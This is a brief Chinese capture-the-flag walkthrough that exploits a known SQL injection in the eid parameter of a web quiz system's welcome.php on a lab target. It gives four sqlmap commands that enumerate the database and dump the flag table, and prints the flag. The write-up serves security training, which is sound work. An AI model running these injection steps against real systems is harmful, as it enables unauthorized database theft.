访问靶场地址
随便注册个账号能登录就
http://eci-2ze86owh7lf4tsy5z4d6.cloudeci1.ichunqiu.com/welcome.php?q=1
根据CVE官方:
在welcome.php,发现基于 Web 的测验系统 v1.0 通过 eid 参数包含一个 SQL 注入漏洞。
所以我们接下来就找eid 参数即可。我们点击start,跳转到一个界面,我们发现,url中就存在了eid 参数
http://eci-2ze4ejuck500r1lw7g13.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34
接下来我们使用bp,抓到点击start的包,放到txt文件中,命名为1.txt
然后到sqlmap里面使用命令爆破出我要的数据
sqlmap -r 1.txt --random-agent -p eid --batch --dbs
sqlmap -r 1.txt --random-agent -p eid --batch -D "ctf" --tables
sqlmap -r 1.txt --random-agent -p eid --batch -D "ctf" -T "flag" --columns
sqlmap -r 1.txt --random-agent -p eid --batch -D "ctf" -T "flag" -C"flag" --dump
得到flag
flag{a80c9fd6-1607-4182-8bd2-edd92d05e67f}